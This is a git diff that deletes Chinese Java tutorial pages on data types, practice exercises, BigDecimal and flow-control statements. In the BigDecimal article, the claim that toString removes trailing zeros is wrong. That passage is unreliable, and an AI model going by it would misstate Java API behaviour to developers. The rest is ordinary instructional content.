-这里再补充一些额外的知识点,能看懂就继续吸收,看不懂可以先去学下一节,以后再来补,没关系的。学习就是这样,可以跳过,可以温故。 - -举个例子。 - -```java -String a = new String("沉默王二") -``` - -这段代码会先在堆里创建一个 沉默王二的字符串对象,然后再把对象的引用 a 放到栈里面。这里面还会涉及到[字符串常量池](https://javabetter.cn/string/constant-pool.html),后面会讲。 - -那么对于这样一段代码,有基本数据类型的变量,有引用类型的变量,堆和栈都是如何存储他们的呢? - -```java -public void test() -{ - int i = 4; - int y = 2; - Object o1 = new Object(); -} -``` - -我来画个图表示下。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/basic-grammar/basic-data-type-3d5b3e40-1abb-4624-8282-b83e58388825.png) - -应该一目了然了吧? - -“好了,三妹,关于 Java 中的数据类型就先说这么多吧,你是不是已经清楚了?”转动了一下僵硬的脖子后,我对三妹说。 - -### 08、小结 - -本文详细探讨了 Java 数据类型,包括比特与字节、基本数据类型、单精度与双精度、int 与 char 互转、包装器类型、引用数据类型以及堆与栈的内存模型。通过阅读本文,你将全面了解 Java 数据类型的概念与使用方法,为 Java 编程打下坚实基础。 - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/basic-grammar/basic-exercise.md b/docs/src/basic-grammar/basic-exercise.md deleted file mode 100644 index 4a3bc9db4c..0000000000 --- a/docs/src/basic-grammar/basic-exercise.md +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: Java 语法基础练习题 -shortTitle: Java语法基础练习题 -category: - - Java核心 -tag: - - Java语法基础 -description: 学完本章的数据类型、运算符和流程控制语句,你已经掌握了 Java 语言的基础知识,现在就通过练习题来检验一下吧! -head: - - - meta - - name: keywords - content: Java, Java语法基础, 练习题 ---- - - -### 翻转整数 - -给定一个 32 位有符号整数,将整数中的数字进行反转。 - -示例 1: - -``` -输入: 123 -输出: 321 -``` - -示例 2: - -``` -输入: -123 -输出: -321 -``` - -如果反转后整数溢出那么就返回 0。 - -```java -public class ReverseInteger { - public static void main(String[] args) { - int x = 123; - int y = -123; - System.out.println(reverse(x)); - System.out.println(reverse(y)); - } - - public static int reverse(int x) { - int rev = 0; // 用于存储反转后的结果 - while (x != 0) { - int pop = x % 10; // 获取 x 的最后一位数字 - x /= 10; // 移除 x 的最后一位数字 - - // 检查溢出:如果 rev > Integer.MAX_VALUE/10 或 rev < Integer.MIN_VALUE/10,则会溢出 - if (rev > Integer.MAX_VALUE / 10 || (rev == Integer.MAX_VALUE / 10 && pop > Integer.MAX_VALUE % 10)) return 0; - if (rev < Integer.MIN_VALUE / 10 || (rev == Integer.MIN_VALUE / 10 && pop < Integer.MIN_VALUE % 10)) return 0; - - rev = rev * 10 + pop; // 将 pop 添加到 rev 的最后 - } - return rev; // 返回反转后的整数 - } -} -``` - -这道题其实是 LeetCode 的第 7 题,如果你想看看更多的解题思路,可以看看这篇文章:[LeetCode 7. 整数反转](https://paicoding.com/column/7/7),我放在技术派的《二哥的 LeetCode 刷题笔记》专栏中。 - -这道题其实很好的考察了 int 的基本数据类型、取余和除法运算符,以及 if 和 while 语句的使用。 - -### 字符串转换整数 - -请你来实现一个 parseInt 方法,使其能将字符串转换成整数。 - -示例 1(正数): - -``` -输入: "42" -输出: 42 -``` - -示例 2(带空格的负数): - -``` -输入: " -42" -输出: -42 -``` - -示例 3(带非数字的字符): - -``` -输入: "4193 with words" -输出: 4193 -``` - -示例 4(超出 int 范围): - -``` -输入: "91283472332" -输出: 2147483647 -``` - -```java -public class StringToInteger { - public static void main(String[] args) { - String str1 = "42"; - String str2 = " -42"; - String str3 = "4193 with words"; - String str4 = "91283472332"; - System.out.println(parseInt(str1)); - System.out.println(parseInt(str2)); - System.out.println(parseInt(str3)); - System.out.println(parseInt(str4)); - } - - public static int parseInt(String str) { - int index = 0; // 用于遍历字符串 - int sign = 1; // 用于标记正负号 - int total = 0; // 用于存储转换后的整数 - - // 1. 跳过前面的空格 - while (index < str.length() && str.charAt(index) == ' ') index++; - - // 2. 检查正负号 - if (index < str.length() && (str.charAt(index) == '+' || str.charAt(index) == '-')) { - sign = str.charAt(index) == '+' ? 1 : -1; - index++; - } - - // 3. 转换数字 - while (index < str.length()) { - int digit = str.charAt(index) - '0'; // 获取当前字符对应的数字 - if (digit < 0 || digit > 9) break; // 如果不是数字则退出循环 - // 检查溢出:如果 total > Integer.MAX_VALUE/10 或 total == Integer.MAX_VALUE/10 且 digit > Integer.MAX_VALUE%10,则会溢出 - if (total > Integer.MAX_VALUE / 10 || (total == Integer.MAX_VALUE / 10 && digit > Integer.MAX_VALUE % 10)) { - return sign == 1 ? Integer.MAX_VALUE : Integer.MIN_VALUE; - } - total = total * 10 + digit; // 将 digit 添加到 total 的最后 - index++; - } - return total * sign; // 返回转换后的整数 - } -} -``` - -这道题其实是 LeetCode 的第 8 题,如果你想看看更多的解题思路,可以看看这篇文章:[LeetCode 8. 字符串转换整数 (atoi)](https://paicoding.com/column/7/8),我放在技术派的《二哥的 LeetCode 刷题笔记》专栏中。 - -这道题其实很好的字符与整数之间的转换,以及 if 和 while 语句的使用。超纲的内容就是字符串的处理,比如说去空格(`trim()`),比如说取字符(`charAt()`),但这些我们在[后面的章节](https://javabetter.cn/string/string-source.html)中都会讲到。 - -### 总结 - -经过这些练习题的练习,我想你就能完全掌握 Java 的语法知识了。 - - ----- - -GitHub 上标星 10000+ 的开源知识库《[二哥的 Java 进阶之路](https://github.com/itwanger/toBeBetterJavaer)》第一版 PDF 终于来了!包括Java基础语法、数组&字符串、OOP、集合框架、Java IO、异常处理、Java 新特性、网络编程、NIO、并发编程、JVM等等,共计 32 万余字,500+张手绘图,可以说是通俗易懂、风趣幽默……详情戳:[太赞了,GitHub 上标星 10000+ 的 Java 教程](https://javabetter.cn/overview/) - -微信搜 **沉默王二** 或扫描下方二维码关注二哥的原创公众号沉默王二,回复 **222** 即可免费领取。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/basic-grammar/bigdecimal-biginteger.md b/docs/src/basic-grammar/bigdecimal-biginteger.md deleted file mode 100644 index 5341056c74..0000000000 --- a/docs/src/basic-grammar/bigdecimal-biginteger.md +++ /dev/null @@ -1,206 +0,0 @@ ---- -title: BigDecimal,非常大的高精度浮点数 -shortTitle: 掌握BigDecimal -description: BigDecimal是Java中用于浮点数数值计算的类,其主要适合用于处理需要精确表示和运算的场景。 -author: 毅航 -category: - - 微信公众号 ---- - -`BigDecimal`是`Java`中用于浮点数数值计算的类,其主要适合用于处理需要精确表示和运算的场景。**「`BigDecimal`不仅能精确表示非常大的或非常小的数字,同时还提供任意精度的运算。其有效的解决了浮点数(`float`和`double`)在进行精确计算时可能出现的舍入误差问题。」** - -## BigDecimal简介 - -在处理金融、科学等领域的计算时,为了解决`double`或`float`在计算值存在的精度缺失问题`BigDecimal`应运而生。`BigDecimal`在设计之初**「皆在提供更高的精度和准确性,以确保浮点数运算的准确性」**。因此其具有如下特点: - -1. **「高精度」**:`BigDecimal`能够精确表示非常大的或非常小的数字,并且提供任意精度的运算。 -2. **「不可变性」**:`BigDecimal`对象是不可变的。一旦创建,数值就不会改变。所有的算术运算都会返回一个新的`BigDecimal`对象,而不会修改原来的对象。这种设计使得`BigDecimal`是线程安全的。 -3. **「丰富的运算方法」**:`BigDecimal`提供了丰富的算术运算方法,如`add`(加法)、`subtract`(减法)、`multiply`(乘法)和`divide`(除法),以及用于舍入、取整和比较的方法。 -4. **「灵活的舍入模式」**:提供多种舍入模式(如四舍五入、向上取整等),确保结果的精度和舍入行为可控。 - -总的来看,「`BigDecimal`通过其对象的不可变性,从而确保了线程安全;与此同时,其还并提供丰富的算术运算方法(如加法、减法、乘法、除法)和多种舍入模式(如四舍五入、向上取整等),从而满足精确数值计算的需求。」 - -## BigDecimal数据存储的秘密 - -对`BigDecimal`有了基础认识后,接下来我们便通过`Debug`的形式来看看`BigDecimal`内部究竟是如来实现数据的高精度的存储的。为此我们首先通过如下的语句来构建一个`BigDecimal`对象 - -```java -BigDecimal bigDecimal = new BigDecimal("3.1415926"); -``` - -运行代码进入`Idea`的`Debug`模式后,可以看到如下内容: - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin//zhangwbigdecimalxjqyljzjsj-d87c0e82-6ab7-479f-a5fb-6a1c863f5d76.jpg) - -不难发现,对于`BigDecimal`对象而言其内部有 **「`intVal、scal、precision、stringCache、initCompact`等五个重要属性。」**   进一步,翻开`BigDecimal`源码,可以看到这五个属性各自对应的类型: - -```java -public class BigDecimal extends Number implements Comparable { -      -     private final BigInteger intVal; - -     private final int scale;   -                                -     private transient int precision; - -     private transient String stringCache; - -    -     private final transient long intCompact; -``` - -具体来看,**「`intVal`为一个`BigInteger`对象,其主要用于保存超出基本类型的数值。」** 例如:对于`Long`数据类型来看,其最大类型为`0x7fffffffffffffff`即`9223372036854775807`。因此如下的赋值`BigDecimal bigDecimal = new BigDecimal("9223372036854775808")`其已然超出了`Java`中基础类型所能表示的范围,而此时在`bigDecimal`对象中,其内部的`intVal`如下所示,不难发现`9223372036854775808`被赋值给`intVal`。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/nice-article/weixin//zhangwbigdecimalxjqyljzjsj-5d30da6f-c6a4-44cc-9919-8827d027269c.jpg) - -明白了`BigDecimal`中`intVal`属性的存储规则后,再来看其中的`scale、precision`所标示的含义。**「其中`scale`表示小数点后的位数而`precision`则代表`BigDecimal`中数据的总位数,即包括整数和小数部分。」** - -进一步,**「`BigDecimal`的`stringCache`属性则主要用于保存`BigDecimal`数据所转成的字符串信息,而`intCompact`则用于将`long`数值以内的数据转为基本数据类型`long`进行存储。」** - -(注:如果数据类型范围超过`long`所能表示的范围,则会将数据保存至`intVal`中) - -此外还要注意一点,如果是包含小数点的数据其会将其小数点去掉,进而保存其去掉小数点后的数据。例如`new BigDecimal("3.1415926")`在该`BigDecimal`对象中`intCompact = 31415926`。 - -## BigDecimal的最佳实践 - -知晓了`BigDecimal`内部对于`浮点`数据的存储原理后,接下来我们来谈一谈有关`BigDecimal`的几点最佳实践,以避免在使用`BigDecimal`时踩坑。 - -> ❝ -> -> 1.为了避免精度丢失,尽量使用`BigDecimal(String val)`构造方法或者  `BigDecimal.valueOf(double val)` -> -> ❞ - -如果使用`double` 类型的数据来构建一个 `BigDecimal` 对象时,其会出现精度丢失的问题。这主要是因为 `double` 类型本身在表示浮点数时存在精度限制。 - -具体来看,`double` 类型使用 `IEEE 754`标准的双精度浮点数格式,该格式在二进制表示中无法精确地表示所有十进制的小数。例如,十进制数 `0.1` 在二进制浮点数中是一个无限循环小数,只能近似表示为 `0.1000000000000000055511151231257827021181583404541015625`。而使用 `new BigDecimal(double)` 构造函数时`double`类型的数值的会将其近似值传递给 `BigDecimal`,进入导致精度丢失。例如: - -```java -double value = 0.1; -BigDecimal bd = new BigDecimal(value); -System.out.println(bd);  -``` - -上述代码最终会输出:`0.1000000000000000055511151231257827021181583404541015625`而我们所期待的 `BigDecimal` 实际为 `0.1`。因此为了避免构建`BigDecimal`时出现精度丢失的问题,**「推荐使用它的`BigDecimal(String val)`构造方法或者  `BigDecimal.valueOf(double val)` 静态方法来创建对象。」** - -> ❝ -> -> 2.使用 `BigDecimal`进行除法运算时,指明数据结果的精度 -> -> ❞ - -`BigDecimal` 在进行除法运算时,**「如果不指定截取的精度和舍入模式,当出现数据无法整除时,会出现 `ArithmeticException` 异常」**。例如 `1 / 3`时其会得到一个无限循环小数。这时如果没有明确指定精度和舍入方式,`BigDecimal` 将无法完成除法运算并抛出异常。 - -```java -public class BigDecimalDivisionExample { -     public static void main(String[] args) { -         BigDecimal num1 = new BigDecimal("1"); -         BigDecimal num2 = new BigDecimal("3"); -         BigDecimal result = num1.divide(num2); - } -``` - -在上述代码中,`num1 / num2`的结果为一个无限循环小数 `0.333...`。**「由于我们并未在代码中指定精度和舍入模式,所以当执行上述代码时如出现如下异常」**:`Exception: Non-terminating decimal expansion; no exact representable decimal result.` - -为了避免上述异常的发生,可以再执行`divide`显示的指定精度截取方式。具体方式如下:`num1.divide(num2,2, RoundingMode.HALF_UP);`在本例中对数据保留了两位小数,同时使用`RoundingMode.HALF_UP`四舍五入的截取方式。 - -事实上 `BigDecimal`除了外`RoundingMode.HALF_UP`的舍入方式外,还有如下的截取方式: - -- `RoundingMode.HALF_UP`:四舍五入,向上舍入。 -- `RoundingMode.HALF_DOWN`:四舍五入,向下舍入。 -- `RoundingMode.HALF_EVEN`:四舍五入,如果舍弃部分等于 0.5,则舍入到最接近的偶数。 - -> ❝ -> -> 3.根据业务需要,合理的使用`compareTo`和`equals` -> -> ❞ - -由于`BigDecimal` 内部对 `equals`方法逻辑进行了重写,这使得`equals`方法不仅比较数值部分,还比较标度。因此只有数值和标度都相同时`equals` 方法才会返回 `true`。例如: - -```java -public class BigDecimalComparison { -     public static void main(String[] args) { -         BigDecimal bd1 = new BigDecimal("1.0"); -         BigDecimal bd2 = new BigDecimal("1.00"); -          -         System.out.println(bd1.equals(bd2)); // 输出 false -     } - } -``` - -在这个例子中,`bd1 = 1.0`  `bd2 = 1.00` 两个数的数值部分代表的含义是完全相同的,但其精度却不同,此时如果使用`equals` 方法进行比较,则会返回 `false`。如果贸然使用`equals` 是很容易导致出现意料之外的结果。 - -为了保证数值的比较,`BigDecimal` 内部也对`compareTo` 方法进行了重写,使得`compareTo`方法只比较`BigDecimal`的数值部分而不考虑标度。**「因此如果两个 `BigDecimal`对象的数值相等,即使标度不同`compareTo` 方法也会认为它们相等。」** - -```java -public class BigDecimalComparison { -     public static void main(String[] args) { -         BigDecimal bd1 = new BigDecimal("1.0"); -         BigDecimal bd2 = new BigDecimal("1.00"); - -         System.out.println(bd1.compareTo(bd2)); //  -     } - } -``` - -在这个例子中最终的输出结果为`0`,即代表`bd1`和`bd2`相等。这主要是因为`bd1`和`bd2`的数值相等因此`compareTo` 方法返回 `0`。 - -因此对于为了避免不必要的混淆和错误,尽量遵循以下最佳实践: - -- **「明确比较目的」**:在使用 `BigDecimal` 进行比较时,首先明确你的比较目的是检查数值相等还是完全相等(包括标度)。如果仅比较数值,请使用 `compareTo` 方法。如果需要完全相等,请使用 `equals` 方法。 -- **「避免误解」**:理解 `BigDecimal` 的 `equals` 方法会考虑标度,而 `compareTo` 方法只比较数值。在常见的数值比较中,更推荐使用 `compareTo` 方法。 - -> ❝ -> -> 4.慎用`BigDecimal`的`toString`方法 -> -> ❞ - -`BigDecimal`内部对`toString`方法进行`重载`,这使得`BigDecimal` 的 `toString` 方法会自动去除尾随零,并且使用科学计数法表示非常大的或非常小的数值。例如: - -```java -public class BigDecimalToStringExample { -     public static void main(String[] args) { -         BigDecimal bd1 = new BigDecimal("123.4500"); -         BigDecimal bd2 = new BigDecimal("0.00012345"); - -         System.out.println(bd1.toString());  -         System.out.println(bd2.toString());  -     } - } -``` - -上述代码分别会输出`123.45、1.2345E-4`。其中`bd1` 的尾随零被去除,而 `bd2` 使用了科学计数法进行数据的表示。而为了避免这类问题的发生,可以使用 `BigDecimal` 的 `toPlainString` 方法。该方法不会去除尾随零,也不会使用科学计数法。 - -```java -import java.math.BigDecimal; - - public class BigDecimalToPlainStringExample { -     public static void main(String[] args) { -         BigDecimal bd1 = new BigDecimal("123.4500"); -         BigDecimal bd2 = new BigDecimal("0.00012345"); -          - -         System.out.println(bd1.toPlainString()); // 输出 123.4500 -         System.out.println(bd2.toPlainString()); // 输出 0.00012345 - -     } - } -``` - -不难看出,在这个例子中`toPlainString` 方法保留了尾随零,并且没有使用科学计数法,输出格式更加直观。 - -- **「`toString` 方法」**:自动去除尾随零,使用科学计数法表示非常大或非常小的数值。可能导致格式不符合预期。 -- **「`toPlainString` 方法」**:不会去除尾随零,不会使用科学计数法,适合需要保留原始数值格式的场景。 - -## 总结 - -本文主要对`BigDecimal`内部对于浮点数的存储规则进行分析,以加深读者对于`BigDecimal`的理解。同时整理了如下五条`BigDecimal`使用的最佳实践: - -1. 为了避免精度丢失,尽量使用`BigDecimal(String val)`构造方法或者  `BigDecimal.valueOf(double val)` ; -2. 使用 `BigDecimal`进行除法运算时,指明数据结果的精度; -3. 根据业务需要,合理的使用`compareTo`和`equals`; -4. 慎用`BigDecimal`的`toString`方法。 - -> 参考链接:[https://mp.weixin.qq.com/s/ShXkr9KKXsDBvmh5PlUgUA](https://mp.weixin.qq.com/s/ShXkr9KKXsDBvmh5PlUgUA),整理:沉默王二 diff --git a/docs/src/basic-grammar/flow-control.md b/docs/src/basic-grammar/flow-control.md deleted file mode 100644 index 7be6fad8df..0000000000 --- a/docs/src/basic-grammar/flow-control.md +++ /dev/null @@ -1,811 +0,0 @@ ---- -title: Java流程控制语句详解:带你轻松学会if switch while for -shortTitle: Java流程控制语句 -category: - - Java核心 -tag: - - Java语法基础 -description: 本文全面讲解了Java流程控制语句,包括if、switch、while、for等结构。通过学习本文,你将了解到Java流程控制语句的基本概念、语法结构和使用场景,帮助你在实际编程过程中更加灵活地运用各类控制结构。 -head: - - - meta - - name: keywords - content: Java, 流程控制语句, if, switch, while, for, 控制结构, 编程基础, 语法结构 ---- - - -“二哥,流程控制语句都有哪些呢?”三妹的脸上泛着甜甜的笑容,她开始对接下来要学习的内容充满期待了,这正是我感到欣慰的地方。 - -“比如说 if-else、switch、for、while、do-while、return、break、continue 等等,接下来,我们一个个来了解下。” - -### 01、if-else 相关 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-01.png) - -#### **1)if 语句** - -if 语句的格式如下: - -```java -if(布尔表达式){ -// 如果条件为 true,则执行这块代码 -} -``` - -画个流程图表示一下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-02.png) - - -来写个示例: - -```java -int age = 20; -if (age < 30) { - System.out.println("青春年华"); -} -``` - -输出: - -``` -青春年华 -``` - -#### **2)if-else 语句** - -if-else 语句的格式如下: - -```java -if(布尔表达式){ -// 条件为 true 时执行的代码块 -}else{ -// 条件为 false 时执行的代码块 -} -``` - -画个流程图表示一下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-03.png) - -来写个示例: - -```java -int age = 31; -if (age < 30) { - System.out.println("青春年华"); -} else { - System.out.println("而立之年"); -} -``` - -输出: - -``` -而立之年 -``` - -除了这个例子之外,还有一个判断闰年(被 4 整除但不能被 100 整除或者被 400 整除)的例子: - -```java -int year = 2020; -if (((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0)) { - System.out.println("闰年"); -} else { - System.out.println("普通年份"); -} -``` - -输出: - -``` -闰年 -``` - -如果执行语句比较简单的话,可以使用三元运算符来代替 if-else 语句,如果条件为 true,返回 ? 后面 : 前面的值;如果条件为 false,返回 : 后面的值。 - -```java -int num = 13; -String result = (num % 2 == 0) ? "偶数" : "奇数"; -System.out.println(result); -``` - -输出: - -``` -奇数 -``` - -#### **3)if-else-if 语句** - -if-else-if 语句的格式如下: - -```java -if(条件1){ -// 条件1 为 true 时执行的代码 -}else if(条件2){ -// 条件2 为 true 时执行的代码 -} -else if(条件3){ -// 条件3 为 true 时执行的代码 -} -... -else{ -// 以上条件均为 false 时执行的代码 -} -``` - -画个流程图表示一下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-04.png) - -来写个示例: - -```java -int age = 31; -if (age < 30) { - System.out.println("青春年华"); -} else if (age >= 30 && age < 40 ) { - System.out.println("而立之年"); -} else if (age >= 40 && age < 50 ) { - System.out.println("不惑之年"); -} else { - System.out.println("知天命"); -} -``` - -输出: - -``` -而立之年 -``` - -#### **4)if 嵌套语句** - -if 嵌套语句的格式如下: - -```java -if(外侧条件){ - // 外侧条件为 true 时执行的代码 - if(内侧条件){ - // 内侧条件为 true 时执行的代码 - } -} -``` - -画个流程图表示一下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-05.png) - - -来写个示例: - -```java -int age = 20; -boolean isGirl = true; -if (age >= 20) { - if (isGirl) { - System.out.println("女生法定结婚年龄"); - } -} -``` - -输出: - -``` -女生法定结婚年龄 -``` - -### 02、switch 语句 - -switch 语句用来判断变量与多个值之间的相等性。变量的类型可以是: - -- byte、short、char、int:基本整数类型。 -- String:[字符串](https://javabetter.cn/string/immutable.html)类型。 -- 枚举类型:自定义的[枚举](https://javabetter.cn/basic-extra-meal/enum.html)类型。 -- 包装类:如 Byte、Short、Character、Integer。 - -来看一下 switch 语句的格式: - -```java -switch(变量) { -case 可选值1: - // 可选值1匹配后执行的代码; - break; // 该关键字是可选项 -case 可选值2: - // 可选值2匹配后执行的代码; - break; // 该关键字是可选项 -...... - -default: // 该关键字是可选项 - // 所有可选值都不匹配后执行的代码 -} -``` - -- 变量可以有 1 个或者 N 个值。 -- 值类型必须和变量类型是一致的,并且值是确定的。 -- 值必须是唯一的,不能重复,否则编译会出错。 -- break 关键字是可选的,如果没有,则执行下一个 case,如果有,则跳出 switch 语句。 -- default 关键字也是可选的。 - -画个流程图: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-06.png) - -来个示例: - -```java -int age = 20; -switch (age) { - case 20 : - System.out.println("上学"); - break; - case 24 : - System.out.println("苏州工作"); - break; - case 30 : - System.out.println("洛阳工作"); - break; - default: - System.out.println("未知"); - break; // 可省略 -} -``` - -输出: - -``` -上学 -``` - -当两个值要执行的代码相同时,可以把要执行的代码写在下一个 case 语句中,而上一个 case 语句中什么也没有,来看一下示例: - -```java -String name = "沉默王二"; -switch (name) { - case "詹姆斯": - System.out.println("篮球运动员"); - break; - case "穆里尼奥": - System.out.println("足球教练"); - break; - case "沉默王二": - case "沉默王三": - System.out.println("乒乓球爱好者"); - break; - default: - throw new IllegalArgumentException( - "名字没有匹配项"); - -} -``` - -输出: - -``` -乒乓球爱好者 -``` - -枚举作为 switch 语句的变量也很常见,来看例子: - -```java -public class SwitchEnumDemo { - public enum PlayerTypes { - TENNIS, - FOOTBALL, - BASKETBALL, - UNKNOWN - } - - public static void main(String[] args) { - System.out.println(createPlayer(PlayerTypes.BASKETBALL)); - } - - private static String createPlayer(PlayerTypes playerType) { - switch (playerType) { - case TENNIS: - return "网球运动员费德勒"; - case FOOTBALL: - return "足球运动员C罗"; - case BASKETBALL: - return "篮球运动员詹姆斯"; - case UNKNOWN: - throw new IllegalArgumentException("未知"); - default: - throw new IllegalArgumentException( - "运动员类型: " + playerType); - - } - } -} -``` - -输出: - -``` -篮球运动员詹姆斯 -``` - -但 switch 不支持 long、float、double 类型,这是因为: - -- long 是 64 位整数,不在 switch 一开始设计的范围内(32 位的 int 在大多数情况下就够用了)。 -- float 和 double 是浮点数,浮点数的比较不如整数简单和直接,存在精度误差。 - -### 03、for 循环 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-07.png) - -#### **1)普通 for 循环** - -普通的 for 循环可以分为 4 个部分: - -1)初始变量:循环开始执行时的初始条件。 - -2)条件:循环每次执行时要判断的条件,如果为 true,就执行循环体;如果为 false,就跳出循环。当然了,条件是可选的,如果没有条件,则会一直循环。 - -3)循环体:循环每次要执行的代码块,直到条件变为 false。 - -4)自增/自减:初始变量变化的方式。 - -来看一下普通 for 循环的格式: - -```java -for(初始变量;条件;自增/自减){ -// 循环体 -} -``` - -画个流程图: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-08.png) - - -来个示例: - -```java -for (int i = 0; i < 5; i++) { - System.out.println("沉默王三好美啊"); -} -``` - -输出: - -``` -沉默王三好美啊 -沉默王三好美啊 -沉默王三好美啊 -沉默王三好美啊 -沉默王三好美啊 -``` - -“哎呀,二哥,你真的是变着法夸我啊。” - -“非也非也,三妹,你看不出我其实在夸我自己吗?循环语句还可以嵌套呢,这样就可以打印出更好玩的呢,你要不要看看?” - -“好呀好呀!” - -“看好了啊。” - -```java -for (int i = 0; i < 5; i++) { - for (int j = 0;j<= i;j++) { - System.out.print("❤"); - } - System.out.println(); -} -``` - -打印出什么玩意呢? - -``` -❤ -❤❤ -❤❤❤ -❤❤❤❤ -❤❤❤❤❤ -``` - -“哇,太不可思议了,二哥。” - -“嘿嘿。” - -#### **2)for-each** - -for-each 循环通常用于遍历数组和集合,它的使用规则比普通的 for 循环还要简单,不需要初始变量,不需要条件,不需要下标来自增或者自减。来看一下语法: - -```java -for(元素类型 元素 : 数组或集合){ -// 要执行的代码 -} -``` - -来看一下示例: - -```java -String[] strs = {"沉默王二", "一枚有趣的程序员"}; - -for (String str : strs) { - System.out.println(str); -} -``` - -输出: - -``` -沉默王二 -一枚有趣的程序员 -``` - -“呀,二哥,你开始王哥卖瓜了啊。” - -“嘿嘿,三妹,你这样说哥会脸红的。” - -#### **3)无限 for 循环** - -“三妹,你想不想体验一下无限 for 循环的威力,也就是死循环。” - -“二哥,那会有什么样的后果啊?” - -“来,看看就知道了。” - -```java -for(;;){ - System.out.println("停不下来。。。。"); -} -``` - -输出: - -``` -停不下来。。。。 -停不下来。。。。 -停不下来。。。。 -停不下来。。。。 -``` - -一旦运行起来,就停不下来了,除非强制停止。 - -### 04、while 循环 - -来看一下 while 循环的格式: - -```java -while(条件){ -//循环体 -} -``` - -画个流程图: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-09.png) - -来个示例: - -```java -int i = 0; -while (true) { - System.out.println("沉默王三"); - i++; - if (i == 5) { - break; - } -} -``` - -“三妹,你猜猜会输出几次?” - -“五次吗?” - -“对了,你可真聪明。” - -``` -沉默王三 -沉默王三 -沉默王三 -沉默王三 -沉默王三 -``` - -“三妹,你想不想体验一下无限 while 循环的威力,也就是死循环。” - -“二哥,那会有什么样的后果啊?” - -“来,看看就知道了。” - -```java -while (true) { - System.out.println("停不下来。。。。"); -} -``` - -输出: - -``` -停不下来。。。。 -停不下来。。。。 -停不下来。。。。 -停不下来。。。。 -``` - -把 while 的条件设置为 true,并且循环体中没有 break 关键字的话,程序一旦运行起来,就根本停不下来了,除非强制停止。 - -### 05、do-while 循环 - -来看一下 do-while 循环的格式: - -```java -do{ -// 循环体 -}while(条件); -``` - -画个流程图: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-10.png) - -来个示例: - -```java -int i = 0; -do { - System.out.println("沉默王三"); - i++; - if (i == 5) { - break; - } -} while (true); -``` - -“三妹,你猜猜会输出几次?” - -“五次吗?” - -“对了,你可真聪明。” - -``` -沉默王三 -沉默王三 -沉默王三 -沉默王三 -沉默王三 -``` - -“三妹,你想不想体验一下无限 do-while 循环的威力......” - -“二哥,又来啊,我都腻了。” - -“来吧,例行公事,就假装看看嘛。” - -```java -do { - System.out.println("停不下来。。。。"); -} while (true); -``` - -输出: - -``` -停不下来。。。。 -停不下来。。。。 -停不下来。。。。 -停不下来。。。。 -``` - -把 do-while 的条件设置为 true,并且循环体中没有 break 关键字的话,程序一旦运行起来,就根本停不下来了,除非强制停止。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-11.png) - -### 06、break - -break 关键字通常用于中断循环或 switch 语句,它在指定条件下中断程序的当前流程。如果是内部循环,则仅中断内部循环。 - -可以将 break 关键字用于所有类型循环语句中,比如说 for 循环、while 循环,以及 do-while 循环。 - -来画个流程图感受一下: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/control/thirteen-12.png) - -用在 for 循环中的示例: - -```java -for (int i = 1; i <= 10; i++) { - if (i == 5) { - break; - } - System.out.println(i); -} -``` - -用在嵌套 for 循环中的示例: - -```java -for (int i = 1; i <= 3; i++) { - for (int j = 1; j <= 3; j++) { - if (i == 2 && j == 2) { - break; - } - System.out.println(i + " " + j); - } -} -``` - -用在 while 循环中的示例: - -```java -int i = 1; -while (i <= 10) { - if (i == 5) { - i++; - break; - } - System.out.println(i); - i++; -} -``` - -用在 do-while 循环中的示例: - -```java -int j = 1; -do { - if (j == 5) { - j++; - break; - } - System.out.println(j); - j++; -} while (j <= 10); -``` - -用在 switch 语句中的示例: - -```java -switch (age) { - case 20 : - System.out.println("上学"); - break; - case 24 : - System.out.println("苏州工作"); - break; - case 30 : - System.out.println("洛阳工作"); - break; - default: - System.out.println("未知"); - break; // 可省略 -} -``` - -### 07、continue - -当我们需要在 for 循环或者 (do)while 循环中立即跳转到下一个循环时,就可以使用 continue 关键字,通常用于跳过指定条件下的循环体,如果循环是嵌套的,仅跳过当前循环。 - -来个示例: - -```java -for (int i = 1; i <= 10; i++) { - if (i == 5) { - // 使用 continue 关键字 - continue;// 5 将会被跳过 - } - System.out.println(i); -} -``` - -输出: - -``` -1 -2 -3 -4 -6 -7 -8 -9 -10 -``` - -“二哥,5 真的被跳过了呀。” - -“那必须滴。不然就是 bug。” - -再来个循环嵌套的例子。 - -```java -for (int i = 1; i <= 3; i++) { - for (int j = 1; j <= 3; j++) { - if (i == 2 && j == 2) { - // 当i=2,j=2时跳过 - continue; - } - System.out.println(i + " " + j); - } -} -``` - -打印出什么玩意呢? - -``` -1 1 -1 2 -1 3 -2 1 -2 3 -3 1 -3 2 -3 3 -``` - -“2 2” 没有输出,被跳过了。 - -再来看一下 while 循环时 continue 的使用示例: - -```java -int i = 1; -while (i <= 10) { - if (i == 5) { - i++; - continue; - } - System.out.println(i); - i++; 